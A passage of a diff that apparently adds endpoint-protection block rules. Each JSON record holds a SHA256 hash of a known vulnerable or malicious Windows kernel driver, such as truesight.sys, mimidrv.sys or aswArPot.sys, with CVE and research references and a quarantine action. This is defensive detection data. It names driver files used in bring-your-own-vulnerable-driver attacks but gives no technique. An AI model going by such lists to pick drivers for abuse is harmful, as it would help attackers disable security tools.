+  "references": [],
+  "type": "hash",
+  "value": "05b146a48a69dd62a02759487e769bd30d39f16374bc76c86453b4ae59e7ffa4",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d3d62e1-49f9-57b4-add9-46f50b745586",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459709Z",
+  "creation_date": "2026-03-23T11:45:30.459712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "554bf34bde5e7c86fc463496d19a4369d911ccad90e3c684855192cd677641c4",
+  "comment": "Vulnerable Kernel Driver (aka viragt.sys) [https://www.loldrivers.io/drivers/39742f99-2180-46d7-8538-56667c935cc3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d446710-8318-5ef1-acfe-6fb7e8565124",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821316Z",
+  "creation_date": "2026-03-23T11:45:31.821320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "820022d1438b3b41578a556cc16c149f11c06bbee4dd31ef605cbec0fe7e4618",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d4e49cb-7181-5830-b4ce-f76303ae36e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986119Z",
+  "creation_date": "2026-03-23T11:45:29.986121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "625fce937dd4fed61bc3a0475e10b6f05d9061c99b5335bf3f33dc43511300b3",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d56f6b5-c75e-5eaa-84de-a251561e8e81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495133Z",
+  "creation_date": "2026-03-23T11:45:31.495135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d2298b33a526068d60e9964778cdf7b0467e0c272c89e7f647f91df04cfb2aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d637982-ac56-5c8a-80dd-83cb4f8eb2b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967206Z",
+  "creation_date": "2026-03-23T11:45:29.967210Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb6f186c9bf73b0efd227d99e09659c321f0414bda568e99ee9a3863dc1a380d",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d6d53ac-8ed7-5ee2-90be-009239ee6e14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154996Z",
+  "creation_date": "2026-03-23T11:45:31.154998Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b08e1ce175b043fe35518554c6e9d9645cd4f454a76bd38303a0237de73e86c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d6eb45d-59bd-568f-8eb7-991a4f20b2cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622633Z",
+  "creation_date": "2026-03-23T11:45:29.622635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "673b63b67345773cd6d66f6adcf2c753e2d949232bff818d5bb6e05786538d92",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d792f90-9a2e-5c69-bbb8-21d368b944b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150374Z",
+  "creation_date": "2026-03-23T11:45:31.150376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e659535a0d408d81ffffe237c17a21f30def814136bdf391fe73564fb131a8ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d7f8b5d-903e-5bb7-bd8b-a92a48371f50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829911Z",
+  "creation_date": "2026-03-23T11:45:31.829913Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "001a03bdec4bf659f732b2d858e1a70b40446a455bc37d8d4e5c935f3ef32358",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d802545-1d7d-5510-b8f6-4f599ee02042",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969309Z",
+  "creation_date": "2026-03-23T11:45:29.969311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d81ec6a-22df-583d-bcc7-192b72381ac7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615290Z",
+  "creation_date": "2026-03-23T11:45:29.615292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f210a62de46c5acb868a083465b94287331ec28acd3b269e64ab6c3f372021f",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1d89e9ac-f887-5d1e-8ea8-1e840349ff2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613136Z",
+  "creation_date": "2026-03-23T11:45:29.613138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdcacee3695583a0ca38b9a786b9f7334bf2a9a3387e4069c8e6ca378b2791d0",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1da640c3-dab8-593b-8091-43be9689d8bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159652Z",
+  "creation_date": "2026-03-23T11:45:31.159655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159664Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68ae2bd91421eb9fac0412e392af4b7f9ce1cc077cb069d904db243e7d8d7e66",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1daf158f-dd39-59b9-82e8-595b279f79eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968239Z",
+  "creation_date": "2026-03-23T11:45:29.968241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16768203a471a19ebb541c942f45716e9f432985abbfbe6b4b7d61a798cea354",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1db55043-ae03-5402-86d7-146f720264cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154041Z",
+  "creation_date": "2026-03-23T11:45:31.154043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154049Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da7fc3aa13917d1d9dddae0f0353fdc5423a281a6c41cb12d7aec62e9128fad6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dc54178-c0d3-5514-9f4b-7d6d243fcb8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620548Z",
+  "creation_date": "2026-03-23T11:45:29.620550Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49f75746eebe14e5db11706b3e58accc62d4034d2f1c05c681ecef5d1ad933ba",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dcf377a-baaa-5b5b-bd83-d7b93f7a0526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983404Z",
+  "creation_date": "2026-03-23T11:45:29.983406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72b99147839bcfb062d29014ec09fe20a8f261748b5925b00171ef3cb849a4c1",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dd5449d-5ab1-5fd0-95ae-859a0adf3e7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820859Z",
+  "creation_date": "2026-03-23T11:45:30.820861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03680068ec41bbe725e1ed2042b63b82391f792e8e21e45dc114618641611d5d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dd5ca46-cc64-5208-a6f9-a446d9fb49c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467736Z",
+  "creation_date": "2026-03-23T11:45:30.467739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91e64a75caa5015cb1d874372e4fdfefa506de680a962fdd97b83206bdf1e27e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dd8b129-2f9f-5617-81f5-00ad709be9db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466523Z",
+  "creation_date": "2026-03-23T11:45:30.466526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d50cb5f4b28c6c26f17b9d44211e515c3c0cc2c0c4bf24cd8f9ed073238053ad",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dd9e8f4-f2bc-5813-9ccc-8d07c6179b05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463728Z",
+  "creation_date": "2026-03-23T11:45:30.463732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2faf95a3405578d0e613c8d88d534aa7233da0a6217ce8475890140ab8fb33c8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dddbd04-2ce2-5a83-9c9a-d0ee7c989db9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833452Z",
+  "creation_date": "2026-03-23T11:45:30.833455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12dd733db66f745c5401a0470343f165767a6381b6789e45ceef1ab4c6e33983",
